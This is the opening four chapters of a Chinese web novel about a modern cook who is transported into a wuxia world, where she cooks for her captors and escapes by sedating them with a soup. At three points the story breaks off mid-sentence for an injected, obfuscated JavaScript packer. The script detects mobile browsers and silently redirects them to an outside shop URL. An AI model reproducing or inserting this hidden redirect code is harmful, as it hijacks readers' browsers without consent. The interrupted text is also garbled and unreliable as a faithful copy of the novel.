《我在武侠文里当厨子》 1. 第 1 章 北方小城,绕过一环是二环,绕过二环就是大荒地了,大荒地里依旧伫立着不少楼房,只不过楼板质量不太好,无人察觉地墙根处都裂开了。 盛夏天黑得晚,程六水麻木地坐在一二九路公交车,直勾勾地望向窗外,但没有丝毫焦点,就像她用了好几年的老旧手机镜头一样,永远聚不上焦。 “前方到站,方家屯屯北站,请乘客有序下车。”冰冷的机械音在车厢里想起,程六水默默地站了起来,步子迈得很大,生怕司机师傅一个不留神,就把她夹车门里了。 幽暗的路灯下,她独自一人站在道边,身后是大片野地,这块地是有主人的,不幸的是主人失踪了,于是居住用地变成了现实版□□农场,附近的居民无视立着的大牌子“禁止种菜”,反而天不亮睁眼就要来瞧自家的菜地什么个情况,是不是自己的西红柿结得比别人家的大。 程六水十分习惯地闻着汽车尾气,连眉毛都没皱一下,转过身走向了大野地了,与疲惫身躯相反的是脚下的步步生风!她真的是饿了,她要去看看自己的一亩三分地里,有没有什么能用来充饥的。 很好,柿子是青的,黄瓜是小手指大小的,茄子还耷拉着,只有绿油油的韭菜一茬一茬地长着,昨天割过今天又长了新的一茬,真是她的好韭菜! 手起刀落,韭菜到手了,程六水终于笑了,韭菜挂面汤我来了!!! 厨房不大,但家伙事十分齐全,煎炒烹炸什么都能整,大铁锅养得油光锃亮,正在等待着程六水的召唤。 程六水怜惜地看着昔日的好伙伴大铁子,“最近有些穷,别着急等我找到工作的,我就做回锅肉吃。” 是的没错,她失业了,她是个厨子,本来在餐馆里干得有声有色,甚至可以说是蒸蒸日上,直到料理包出现了,料理包真是个好东西啊,一分钟出餐,成本直接降至三成,并且连后厨都不需要了。 程六水虽然没干过料理包,但她对自己的厨艺有信心,再找个餐馆重新干起嘛,树挪死人挪活。可惜,最近大环境同样不太景气,别说是当掌勺的了,就连切墩子的都得里三层外三层的托关系,最后进去发现是个刷碗工的活。 她是个村子里的留守儿童,爸妈早就跑没影了,十几岁奶奶走后她就进城来讨生活了,哪里有什么关系,认识的也都是和自己境遇差不多的人。 柜子里还有最后一小撮儿细挂面,超市里卖得挂面有很多种类,这种细圆挂面最常见还便宜,最重要的是吸汁效果一级棒,往鲜甜咸香的汤底里那么一放,吃得人热乎乎暖洋洋的。 瓷白的汤碗里,放了酱油醋还不够,程六水又拿出了所剩不多的辣椒油,舀了一小勺进去。灶台上,小锅里正在咕噜咕噜地叫唤,白白的面汤裹着细面条,不软不硬刚刚好。 全部倒到满是调料的碗中,切碎的韭菜撒了进去,几大勺沸腾的挂面汤淋了上去,一下子就激发出了韭菜的辛辣香气,再搭配上自家榨得喷香红辣子,油汪汪得甭提多香了。 “嗝。”程六水心无旁骛地呲溜呲溜着挂面汤,就差把小脑袋埋进碗里了,一天就指着这一顿过活呢,最后舔得连碗底都干干净净了。 “嘿嘿,今天又是吃饱饭的一天!”程六水终于从社畜的麻木中解脱了出来,她美滋滋地躺在床上,夜晚的凉风吹走了炎热的温度,有时还能听到楼下大娘们叽叽喳喳地说家长里短。 伴着这亲切的声音,疲惫不堪的六水迷迷糊糊地睡了过去,嘴角微微翘起。 “轰隆隆轰隆隆!”程六水还没睁开眼就觉着自己在晃,漆黑一片的夜里,大铁锅已经从灶台上滑落,她睁开眼的瞬间,只来得及看见头顶一大块天花板以超越光年的速度向自己砸来。 程六水脑海中闪过最后的念头是,太好了不用找工作了,但能不能再吃碗回锅肉啊? 山势险峻,高大的林木郁郁葱葱,除了山脚下蜿蜒的官道偶有人迹,这地方几乎算是个世外桃源无人之地了,原来还有些附近的农户猎户冒险上山讨食吃,只是不知怎的这几年时不时有瘴气,愈发没什么人来这深山老林了,更何况本朝吏治民生渐渐好了起来,百姓们也不缺那口吃的。 偶有风声吹过,枝杈摆动,远远看着只以为是寻常,却不想凑近这么一切,我的个天老爷啊,那参天大树上怎的还有两个人在那奔来跑去啊。 其中一个身穿短打的高挑女子身影飘逸,步法诡谲,在这虚空中如履平地般自在,只是今日她稍显笨重,大抵是因为她左臂夹着个人。 “这回终于是把这小妮子逮住了,之前三番两次都让她跑了,气得俺肝直疼。”高挑女子身旁,还跟着一粗野汉子道。 “这姑娘一摸就根骨不行,内功外功都不成器,也不知道你是怎么放跑个三脚猫功夫的。”高挑女子面无表情说道,言语间除了嫌弃就是嫌弃。 粗野汉子本就是个炮仗脾气,急忙开口辩解道,“你你你,你。。。莫要含什么射影子,你看俺这胳膊这脸上都是这小妮子所赐。” 高挑女子本就夹着个人翻山越岭的,侧首这么一瞧,好家伙差点树枝都要踩空了,这汉子怎么脸上有个老红的巴掌印啊,那胳膊上还有极细的划伤,乍一看起码几十道。 “你要不还是回去甭见当家的了,属实吧有点丢人,还有那叫含沙射影,王二柱还是得多读书啊。”高挑女子开口道。 王二柱一听就不乐意了,“那可不行赵翠翠,你可不能抢俺的功!” 赵翠翠一个白眼翻了上去,“能有什么功啊,不就是个名不见经传的小丫头吗?” “你看你没见识了吧,俺听当家的说了,这妮子还是有点来头的,是什么程门的唯一传人,当家的前两年不是向程门买了批家伙事吗?谁知道钱刚给出去了,程门一夜间人去楼空了,这钱啊不打紧,但没了那些个趁手的兵器还是不行的。”王二柱左顾右盼了半天,才敢和赵翠翠说这宗秘事。 赵翠翠这才意识到她夹着的这个还是有点金贵的,不禁夹紧了些,生怕掉下去摔成肉泥,“程门我知道,兵器机关暗器的行家,江湖上有名有姓的人士大半拿的都是程门的兵器,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405768|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜啊一场大火烧得干干净净,没落了。” 什么程门?大火?程六水本还在昏睡着,只是不知道是谁要夹死自己,那么大个力气差点把她五脏六腑挤出来。她想睁开迷蒙的双眼,却怎么也没有力气,浑身软趴趴的,本以为是在医院抢救麻药的副作用。 结果程六水就听到了这些个非常离谱的话,她哆哆嗦嗦地想张嘴问问到底是咋回事,只听这两人又说话了, “我估计当家的是想让妮子去做那霹雳火弹,那杀人不眨眼的洪泽会总是找我们万家帮麻烦,有了这霹雳火弹就不怕了。”赵翠翠说道。 “对对对,她要是做不出啊,那就给她炸了还债。”王二柱接着说道。 程六水怀疑自己听得不是中国话,明明每个字都认识,就是听不懂他们到底在说些什么。 终于她用尽最后一丝力气睁开了眼睛,悬崖峭壁深不见底的山林就在眼下,那夹着自己的赵翠翠像是带她坐过山车一样,在虚空中蹦来蹦去,颠得她都要吐了。 幸亏这副身体被下了蒙汗药,程六水短时间内叫不出声来,不然她能哭爹喊娘,把这山上鸟兽都吓跑了。 程六水脑子里闪过两个念头,第一,是梦;第二,她穿越了。 “呦,你这小丫头醒了?正好也到了。”赵翠翠挑眉笑了,这丫头有一张白里透红的团团脸,大大的圆眼睛像极了她养的小白狗,还挺可爱的。 三人落在了山顶悬崖上,拨开云雾这里竟藏了处巍峨的建筑,向上望去俱是石梯望也望不到头,那高楼若隐若现,无形中压迫着蝼蚁般人类。 “姐姐,你能打我一下吗?”程六水从赵翠翠的手臂上掉了下来,一个屁墩跌坐在了地上,她迫不及待地问道。 赵翠翠错愕地皱了皱眉,心里暗想怎么还抓了个傻了的来,她歪头给了王二柱一个眼神,大大的问号。 王二柱瞪大了个眼睛,摊了摊手道,“俺打不了啊,俺在江湖上名号也是响当当的,捉女人可以打女人不行,那俺还混不混了?” “不必为难,我有办法。”程六水直接拧了自己大腿一下,“啊啊啊!”她龇牙咧嘴地叫道,疼是真疼,那不是做梦。 难不成自己个真是穿越了,程六水被小说与短剧充斥的业余生活,为她提供了无限的想象力,穿书?重生之真假掌门再爱我一次?穿越成末法时代的结婴大佬? 程六水忽闪忽闪地眨着大眼睛,映入眼帘的广袤无边的山林与高耸入云的石梯预示着事情远没有那么简单,她颤颤巍巍地勉强站直了身子,想着仔细打量打量这个世界,就向前迈了那么一小步。 可惜这副身体的内功也不怎么样,蒙汗药的余威还在猖獗地发挥着余威,她这左脚不听使唤地打了个弯,正正好好地就拦在了正要迈出的右脚前面,偏偏身体半点平衡感都没有,如同一只软脚虾般晃悠了几下就连跟头带把式地滚了下去。 万丈悬崖近在咫尺的那一刻,程六水懵了,不是啊怎么刚穿越就要玩完了?说好的主角光环呢?难不成不是主角,是炮灰?! 2. 第 2 章 “哎不是,这怎么就滚下去了?”赵翠翠急得都差点破了音,她还得回去给当家的交差呢,那王二柱本就不靠谱出了差错也就罢了,在自己这可不能这样。 赵翠翠师承玄真门,道家功法在身内功一绝,后又随忘一真人学会了凌云步,那轻功脚程比大雁都快,三下两下就跳下悬崖捞人去了。 山谷间穿梭的疾风卸下了程六水肩膀头上的重担,她体会着从未有的轻巧,两只软绵绵的胳膊上下左右挥舞着,像极了村子里的大公鸡,下意识的嚎叫就是另类的打鸣,虽不动听但有用。 有用到从天而降的女侠姐姐,仿佛乘着七彩祥云般来救自己,身姿翩若惊鸿婉若游龙,程六水不自觉地伸出双手,朝向那舍身救命的女侠。 大难不死必有后福,程六水沉浸在即将绝处逢生的喜悦里。 “啊!”一股巨大的拉力忽然从天而降,程六水小身板整个被人提溜了起来,不禁大声地叫了出来,只不过这回不是大公鸡了,顶多就是个毛还没长齐的小鸡崽子。 “吵死了。”赵翠翠人狠话不多,一个手刀下去,刚醒没多久的程六水又晕了。 群山最高峰处站着个男人,素白衣青竹般笔挺,身长八尺有余,腰是腰腿是腿的,一看就是个人物。此人名唤赵灵元,是这万家帮的当家的,年岁不足三十,但在江湖中素有威望,走到那都是响当当的。 而万家帮则是这崇山峻岭里的当家人,余下部众几千人,个个都是练家子,平日里带着商队走山路,做的是马帮的活计,没事了再收拾收拾盗贼山匪,谁人不说句行侠仗义劫富济贫。 要说赵灵元也算是见过些大世面,却怎么也没想到程家这个唯一传人,竟如此令人瞠目结舌。他眼力极好,方才那悬崖边的一幕瞧得清清楚楚,这年头还有这么笨的人?左脚绊右脚,差点就把自己摔死了? 他重重地叹了口气,世风日下啊,江湖这些小辈都不成器。 赵灵元甩了甩衣袖,几步便进了万家帮的正峰殿,他要看看到底怎么个蠢丫头。 被多番腹诽的程六水现下无空为自己辩解,她的大脑陷入了混沌之中,无数木板搭建成没有尽头的迷宫,她怎么走也走不到头,忽然一道亮光闪过,一条非常弯曲几乎要倾斜的小道开了个门,她急不迭七拐八拐地跑了进去。 巨大的光束笼罩在程六水的身上,每一束光都写满了字,那是一个十八岁少女的一生,短暂璀璨又可悲。 原身名字也叫“程六水”,江湖名望世家的独女,被父母捧在手心里长大,偏偏还天赋异禀,精通奇门遁甲机关之术,连武器锻造亦有所成。 直到两年前,程门一夜被破,而“程六水”则因出外采买原料而幸免于难,漫天大火将程门烧得一干二净,她的父母同门有的成了烧焦的白骨,有的不知所踪。 “程六水”成了这江湖上幸存的兵器大师,怀璧无罪其玉有罪,她不得已隐姓埋名了起来,一边搜寻着仇人的踪迹,一边提防着被心怀歹心的人捉了去。 可惜最终她还是死了,死在了逃亡的路上,失足掉落在了山野里,醒来便是这个来自现代的程六水了。 这十八年的记忆一幕幕闪现在程六水的脑海中,还没有板凳高的小女孩,扎着两个圆揪揪,调皮地拖来了大铁块压在了爹爹的衣服上,爹爹正在聚精会神地绘制风水阵,好不容易忙完了,一个起身就摔了个大屁墩。 “哈哈哈,爹爹笨爹爹笨。”小女孩笑得蹲了下来,前仰后合地把小揪揪都弄散了。 不远处的娘亲和爹爹对视了一眼,不约而同地笑出了声,“你啊真是个促狭鬼,爹爹要罚你喽。”男人作势起身要找小女孩算账,小女孩一脸不怕的样子,但还是腿脚利落地跑到了娘亲裙摆后,露出了半个圆脸蛋做起了鬼脸。 几滴眼泪不经意间滑落,浸湿了程六水的前衫,她要活下去,替这个女孩活下去,这样她就有爹娘了,即使是生不见人死不见尸的爹娘,可他们就是最好的爹娘。 “醒醒别睡了。”忽远忽近的声音打破了程六水周身的光束,看不到尽头的迷宫瞬间崩塌,一阵激烈的摇晃彻底弄醒了她。 程六水不得已睁开了双眼,刺眼的光亮下隐隐约约看清了这地方,天生地长的灰青巨石被锻造成了亭台楼阁,古朴的石椅石桌石板凳随意摆放着,这里空旷开阔,石窗上垂挂着成串的杜鹃花权当做纱帘了。 好家伙不亏是武侠世界,住在石洞里还真是别具一格啊,程六水开小差地想着,全然忘记了此时她的处境。 而赵灵元却又另一番思量,这程家人都被押解至此了,仍旧面不改色半分惧怕全无,莫不是方才种种都是装的,要真是如此便是胆大敢搏宠辱不惊,假以时日定是个能成大事之人。 能成大事之人的六水脑子还不是很清楚,原主的记忆太多,还得细细理清,她秉承着少说少错的保命原则,瞪着双大眼睛直勾勾地看向了坐在正中央石椅上的人。 “你就是程六水?程门的唯一传人?”赵灵元眼皮半抬,摆出一副不屑一顾的样子。 “不知这位大哥。。。”程六水刚开口就遭到了赵翠翠和王二柱的注视。 她咽了咽口水,赶忙换了个措辞,“不知这位大侠有何贵干?”真是的,谁知道古代人怎么称呼对方啊,“大哥”不好吗?道上混的不都叫“大哥”吗? “程门家主欠我一桩买卖,你来抵债。”赵灵元惜字如金道,面色十分难以捉摸。 “抵债?霹雳什么火弹?”程六水倒是直接,反问道。 “不错,你做得出,你我钱债两清,做不出,你就去这林子里喂狼吧。”赵灵元随意说道。 喂狼???程六水的脑子彻底清醒了,疯狂地运转着,她可不想刚穿越来就死了,“霹雳火弹我是会做的,可你这什么材料都没有,又在深山密林里雾气瘴气湿度大,火弹如何能做得出来?” 赵灵元这回终于笑了,“那你说如何做?叫翠翠和二柱配合你便可,需要什么尽管说,自然了别想逃,你也逃不出去。”说罢他就起身,一副武林高人模样,故作潇洒地走了,那发髻居然还是斜着束的,一晃一晃的颇有些违和。 程六水乖巧地点了点头,就近坐在了个石凳上,如今天热石凳却冰冰凉,十分不错。 “说吧,你需要什么?”赵翠翠生怕这小丫头耍花招,递了个眼神让王二柱守在洞门口。 团团脸的女孩羞怯地垂下了头,一双大眼睛欲迎拒还的,似有什么难言之隐,贝齿咬着嘴唇不说话,而她的肚皮咚咚咚地响了起来,叽里咕噜地说着饿死了! 赵翠翠一时无言,是不是有种可能他们抓错了人,她干净利落地又提溜起程六水朝着后厨走去。 这后厨真是别有洞天,程六水还没见过这么别具一格的厨房呢,石头砌得灶台,柴火堆得比山还高直冲石洞顶,差点就能把厨房点了,食材倒是应有尽有,土豆白菜绿豆芽,二荆条七星椒石柱红,再定睛那么一看,这咋还挂着一大圈肉呢,有风干好的腊肠腊肉,也有刚刚从可爱猪猪身上切下来的肥美五花,精瘦里脊。 几只雄赳赳气昂昂的大公鸡旁若无人地走来走去,压根不将这三人放在眼里,“还是山里走地鸡啊,日子真是不错,你们万家帮还缺人吗?” 程六水仿佛看到了康庄大道,供吃供住顿顿有肉吃,除了老板和同事凶巴巴吓人得紧。 “想进俺们万家帮容易得很,只要能自己个上了山,全须全尾地走到这来,你就行了。”王二柱随手顺了根细长的二荆条啃了起来。 自己上山?这古代的山没有栈道没有山梯,纯纯的野爬,而且深山老林里说不定还有什么老虎啊狼啊,程六水原主身手就不行,现在换成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405769|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只会更差。 “那还是不必了,你们这这么爱吃辣椒?”程六水装作什么都没问过的样子,大眼睛滴溜嘟噜乱转着转移起了话题。 “益州不吃辣子吃什么?”赵翠翠走上前来,显然察觉出了什么不对劲,但又找不出端倪了,人还是那个人,但怎么就变得古里古怪还傻乎乎的。 程六水无视了这审视的目光,反而从容地走到了灶台前胡说八道了起来“行了,我给你们露一手程门绝技。” “什么绝技!铁锅也能做兵器吗?”王二柱眼珠子都要掉下来了,激动道。 “非也非也,两位在一旁等待片刻即可。”程六水故弄玄虚着,还摆了摆手示意二人退后,一副不能将程门绝技示人的模样。 只见她走到吊起来的肉面前,左看看右看看选了一块非常肥美的白肉,利索地洗净切块,大菜刀哐哐就是砍,熟练且残暴。 从柴火山里抽出了几根柴火,就生起火来,幸亏程六水小时候在村子里长大,不然还真不知道怎么用这土灶台。 小火熬制片刻,空气中满是醇厚的肉香,程六水熬猪油是不放香料的,这猪油是东北正宗四川麻辣烫的底油,等会儿还得加少不老少香料,属实不必在此刻多此一举了。 透亮的猪油熬好,便将早已切好的胡葱生姜,还有八角香叶花椒白果茴香这厨房里七七八八的香料都被扔了进去,炸至金黄便要捞出,不然这猪油就苦了。 随后将那猪油盛出,放入一旁早已准备好的另一个大铁锅,大棒骨精心熬制的骨汤飘香四溢。 但程六水怎会就此放过这锅汤呢,里面又加了许多油红豆瓣酱,那七星椒石柱红便派上了用场,红辣辣的辣椒被丢进了骨汤里,最后再放入些盐巴蔗糖调味,一锅精心烹调的麻辣烫底汤就做好了。 此时,在门口守望的两人已经按耐不住了,王二柱哪里闻过这么香的东西,两条腿不听使唤地就要迈步子,而赵翠翠还是有些深沉的,面色依旧不改,只不过嘴角多了几滴晶莹的口水。 “你去问问,这绝技什么时候能做好?”赵翠翠功夫比王二柱好,五感自然更胜一筹,那辛辣刺激又浓香醇厚的味道不自觉地就往鼻子里钻,挡也挡不住。 她倒是也可以龟息一会儿,可哪里舍得啊,恨不得现在就端着大海碗,品尝这程门绝技。 “行我看行。”王二柱听了令,乐得屁颠颠就往前冲啊,八头牛都拉不回来。 明明二流轻功,跑出了顶级的水准,“嗖”的一下就飞到了灶台边,“那个程家丫头,咱啥时候能品尝一下你这绝技啊?”话说着,眼睛却直勾勾地看着锅里煮的豆芽豆皮平菇,绿叶菜也在锅里自由翱翔着。 最关键的是,不知道这程家丫头什么时候腌的肉片,薄如蝉翼的肉片裹上了清酱,颜色好看得紧,在这红油骨汤锅里实在是令人食指大动。 程六水现下没空搭理这王二柱,她正在案板前拉面条呢,捏住面团两头,轻轻那么一扯,扯面就做好了,直接下锅一并煮了。 骨汤咕噜咕噜又开始沸腾了,“两位大侠,端碗吃饭了。”程六水这才发话道。 她手脚麻利地装满了四个大碗,令人垂涎欲滴的汤底裹住了碗中的一切,这还没完,程六水拿起小勺,辣椒油芝麻酱花椒面蒜水香醋还有蔗糖都来上点,那叫一个喷香啊,吃了都能上天了。 “麻烦大侠给当家的送上一份,饭点到了也别总是辟谷不是。”程六水笑盈盈说道,十成十的憨笑,没有讨好的意味,只有分享美食的快乐。 “去吧去吧。”赵翠翠都已经吃上了,眼睛吃得两眼发直,招呼着王二柱快给当家的送一份。 “丫头你这菜叫个什么名啊?别到时候当家的问俺,俺不知道。”王二柱问道。 “它叫东北正宗四川麻辣烫。”程六水俏皮地眨了眨眼睛道。 3. 第 3 章 飒飒风声略过竹叶,卷起了一山风雨,极为凌厉的剑气划过,力似虎豹身若游龙,男子行云流水的招式搅得这山林里的活物都翻跟头打把势地跑没影了,只留万家帮的赵灵元席地而坐,卖力地吃着碗里的麻辣烫,都没顾上功夫抬头看看男子的剑招。 “师兄,你近日愈发懈怠了。”男子收起锋利无比的归一剑,面不改色地来到赵灵元跟前,取了一盏茶来润润嘴唇。 赵灵元听了这话,才舍得从碗里抬起头来,不得不说这程家丫头真是有一手好厨艺啊,喷香麻辣不说还酸酸甜甜得勾人,那几大勺芝麻酱更是点睛之笔,香得他都快找不着北了。 而眼前这位打扰他享用美食的不速之客,不是什么阿猫阿狗的别人,正是和他同出一门的师弟张清寒,“清寒,你莫不是吃不着葡萄说葡萄酸吧,我可同你说,这麻辣烫没带你的份。” 赵灵元与他这位师弟关系不错,两人当初又是结伴下山的,自然多出了些相互扶持的情意来。 “你万家帮哪来的这么好的厨子?”张清寒未理会师兄的护食行为,只是不自觉吞咽了几下,他饿了但他不说。 “捡来的,你可不能抢人啊!”赵灵元气势嚣张地说道,他心里却想着,有这手艺,还会锻造兵器,要不高薪聘请让她留在万家帮得了。 张清寒未置可否,双目如炬向北望去,常年古井无波的眼神中竟有了些似是而非的惆怅,远山青翠却终究不是来时的皑皑雪山。 赵灵元看得一愣一愣的,不自觉放下了饭碗,走到张清寒身旁,颇为担心地问道,“咋地了师弟,你是遇着啥事了?” 他们师兄弟下了山虽也常有联系,但却是走了两条截然不同的道,赵灵元只知张清寒这几年小隐隐于世,在荆州开了家不大不小的酒楼,还听闻他与朝廷上的人走得近了些。 寒星般闪烁的目光汇聚成了斩不断的悲伤,张清寒一个八尺男儿俏生生地立于翠竹林间,不发一语却胜过千言万语,令赵灵元身躯一震,还好心地上来拍了拍师弟的肩膀头。 “嘶。”这师弟肩膀头挺硬啊,震得赵灵元手都疼了,不愧是师门几十年难得一遇的武学天才。 “师兄没什么,我只是有点想六白山了。”张清寒转过头来,又成了那副面无表情的死样子,冷峻的脸上不哭不笑,泥塑得一般。 “想了,就回师门看看呗,以咱的脚程还不是十天半月的事。”赵灵元咧着嘴笑了笑,他还以为是什么事呢。 “在六白山上,吃这麻辣烫一定更过瘾。”在赵灵元还想着怎么宽慰自己的小师弟的时候,张清寒早就鬼魅一般捧着饭碗哼哧哼哧吃了起来,眼睛大放精光,哪还有半点惆怅。 “你小子放下,给我留点!” “休想!哪有连饭都不管的啊!” 两位江湖上的煞星撕打了起来,飞得那是一个比一个高,就差来十八个后空翻了,一时间整片竹林乱成一团。 而后厨的程六水压根不知道自己简简单单的一碗东北麻辣烫,引得师兄弟险些反目成仇,大杀四方。 程六水正襟危坐在石窗前,朝外看去仿佛置身在云海般,烟波浩渺好似直接能腾云驾雾了,她在企图冥想甚至都想自己给自己催眠了,这样就能想起那霹雳火弹到底是怎么做的了。 她连原主五岁打破琉璃盏,被竹板炖肉了一番都想起来了,但就是记不得那些个程门绝技,愁得她就差哭爹喊娘了。 “这妮子干啥呢?嗝。”王二柱刷了碗来,大手在衣服上随便一擦问道。 “说是程门的规矩,做武器前要静思祷告先祖。”赵翠翠皱着眉道。 “成了!两位大侠,我们这就启程去买材料吧。”程六水转过脸来,笑得跟朵花似的,灿烂得以为她要去逛街呢。 “你不必去,将材料告知我们,我们会安排下面的人去采买。”赵翠翠虽然吃了麻辣烫后,对程六水颇有好感,但规矩就是规矩,万一这小丫头又跑了怎么办? “姐姐倒是好意省了我来回的麻烦,我程门也曾是江湖名门,与万家帮有买卖没结清,我理应履行完成,可这完成只是钱货两清即可,至于做这霹雳火弹的诀窍是半点不能外露的,不然来日九幽之下哪还有脸面见双亲? 这霹雳火弹用料极为讲究,还有固定比例,就连手法都是有严格要求的,我断不能假手于人,不然别说是做成,调配过程中一个意外只怕都得将这山顶炸出了个花来。” 程六水将这些话娓娓道来,有理有据地说着,一张小圆脸上就差写着“真诚”二字了。 王二柱听得一愣一愣的连连点头,确实啊咱不能干那些个偷师的事,万家帮还得在江湖上混呢,他愣头青地一个劲给赵翠翠使眼神,脸都要抽抽了。 赵翠翠半信半疑地看向程六水,她总觉得哪里不对,可又说不上来,只得点了点头,三人便领着一群伙计们浩浩荡荡地下山去了。 程六水骑在马上也不逃,还悠闲地唱起了山歌来,“你好像春天的一幅画,画中是遍山的红桃花,蓝蓝的天和那青青篱笆,花瓣飘落你身下,九妹九妹可爱的妹妹!” 这一众伙计都是风里来雨里去讨生活的,听了几句就会了调子,跟着齐齐唱了起来,林子里欢声笑语不断,赵翠翠也笑出了声,她不得不承认这丫头真讨人喜欢。 讨人喜欢的程六水心里算盘珠子打得叮当响,根据原主记忆,益州多山就连主城的官路都多是弯弯曲曲的,更别提进了那些铺子市集后,七拐八拐地绕人得紧。 她盘算得很清楚,断然是不能留在万家帮的,倒不是说万家帮里都不是好人,可自己啥也不会啊,别说是抡二板斧了,她连斧子边都没碰着,那到头来不就小命难逃了吗! 于是在益州城的第二日清晨,程六水不见了。 第一个发现程六水不见的人不是与她同住的赵翠翠,而是住在客栈最里间的王二柱,他是个练家子每日早起必要耍弄两圈,方才筋骨舒服了。 可今日王二柱一睁开眼就见天色早已大亮了,淅淅沥沥的雨声令他不禁又昏昏欲睡了些,强撑着才起身洗漱,结果还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405770|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没出门便见桌子上有封信。 “亲爱的二柱大侠, 我鸟悄地走了,正如我呜呜渣渣地来,吭哧瘪肚的我是做不出霹雳大火弹的,十分不落忍地给乡亲们留下了东北正宗四川麻辣烫的菜谱,等我不再吭哧瘪肚了,我一定会回来的! 此致敬礼,程六水留。” “不好了不好了,小兔崽子跑了!”王二柱手捏着信,咋咋呼呼地跑出了房间,叫醒了还在昏睡中赵翠翠和伙计们。 所有人面面相觑地看着这封信,想破脑袋都想不明白,一个三脚猫功夫的程六水是怎么逃过赵翠翠的层层魔爪,独自逃跑的。 “我们被下药了!”赵翠翠笃定地说道,不然一个两个贪睡,也不可能所有人都醒不过来。 “可俺们身上也没有中蒙汗药的感觉啊,反而舒坦得不得了,好久没睡得这么香了。”其中一名伙计反驳道。 “翠翠,咱还追吗?”王二柱挠着大脑袋问道。 “追!就算是把马腿跑断了,也得给她逮回来,老娘我十年都没栽跟头了,没想到还能着了个小丫头的道。”赵翠翠咬牙切齿道,那头发气得都快立起来。 小丫头程六水冒着雨正跑得欢,她早就跑出了益州城几十里地了,昨个半夜启程直奔朝天门去,那里有着益州最大的码头,只要上了船就是漕帮的管辖范围了,江湖人士再怎么猖狂也得守规矩。 程六水背着自己的碎花小包袱,蹦蹦跳跳地就上了码头,湍急的江水拍打着大船,她站在甲板上深深吸了口气,啊这就是自由的味道。 至于她是怎么逃出魔爪的呢,其实很简单,程六水自问没什么本事,但所幸还是会做点饭的。 他们一行人下榻的客栈地理位置极佳,可就是饭菜做得不怎么样,这让刚刚尝过程六水手艺的王二柱怎么忍得了,几下就没了胃口。 自然了,善解人意的程六水拿起大勺就是颠啊,只不过颠的过程中总是有些小意外的嘛。 油滑香嫩的老母鸡哐哐几刀就直接剁成块了,本就清甜的山泉水里撒了些黄酒姜丝,老母鸡哗啦啦就倒进了锅中,滚烫咕噜咕噜直冒气时,再将老母鸡捞出,恰到好处地祛除了最后一丝腥气。 大大的砂锅被端了上来,清甜的老母鸡扑通跳进了砂锅里,锅里还有它的一众好朋友,滋补元气的高山枸杞,养血安神的大红枣,还有健脾宁心的茯苓,最后一味不知怎么回事,自己跑进来的酸枣仁。 而且还不止几颗,怕是加了有几十颗,万幸搭配起甜滋滋的枸杞红枣,无人能察觉这鸡汤里的手脚。 一个时辰过去,那砂锅自下而上沸腾着,不用打开锅盖都能闻见扑鼻而来的香气,雨夜来上这么一碗滋补的鸡汤,无人能拒绝,包括谨慎的赵翠翠。 几碗清亮香甜的鸡汤顺滑下肚,不多时客栈里多了一群睡得不知天地为何物的江湖人士。 程六水什么都没干,只不过是好心地给大家补一补而已,没想到补过了头,那真是万分抱歉了嘿嘿,自己只能三十六计,先溜为上了! 4. 第 4 章 程六水在小小的船舱里长舒了一口气,把房门关得严严实实的,这才打开了自己的碎花小包袱,开始细细盘算起来。 一炷香的功夫,程六水就目光呆滞了,她翻遍了包袱里的所有东西,连换洗衣服都没有啊,只有一枚黑不溜秋的配饰,瞧着是系在腰带上的,但看不出什么材质。 除此之外,还有一本册子,程六水记得这是原主父母送给原主的十六岁生辰礼,翻开来看,真好啊一个字都不认识。 这倒不是程六水穿越到古代成了睁眼瞎,而是这册子本来写的就不是汉字,但也不是外国字,更像是遵循着某种规律变换而来的字体。 程六水合理地怀疑这册子里就是一本程门绝技,可惜现下啥也看不明白,只能收起来作罢。于是她来到了包袱里最后一件东西面前,是一个小小的荷包,打开荷包的抽绳,很好连半贯钱都没有。 程六水翻来覆去数了八遍,只有五十二文钱,若是下了船集市里一文钱能买一个烧饼,算算一天三个烧饼,怎么着也能吃个半个月。但在船上物价就贵了,三文钱才能买一个烧饼,一天九文钱,只要五天她就要饿着肚子去讨饭吃了。 这么一算,她就头皮发麻,本以为穿越前艰苦讨生活就算了,没想到穿越后不仅被人到处抓,居然还是没钱。 但不幸中的万幸是,这艘船四天后抵达江陵,只要她能在江陵找到处包吃包住的营生,就能活下去。 在程六水的记忆里,江陵也是座繁华的城池,酒楼林立车水马龙,没钱她不怕!她有手艺啊,手艺人在哪都饿不死,这是她一直坚信的。 江陵在荆州腹地,这些年商队来往格外频繁,商业繁华百姓们也安居乐业,街面上到处都是新奇玩意,南来北往的商人们带来了各地的特产汇聚于此。 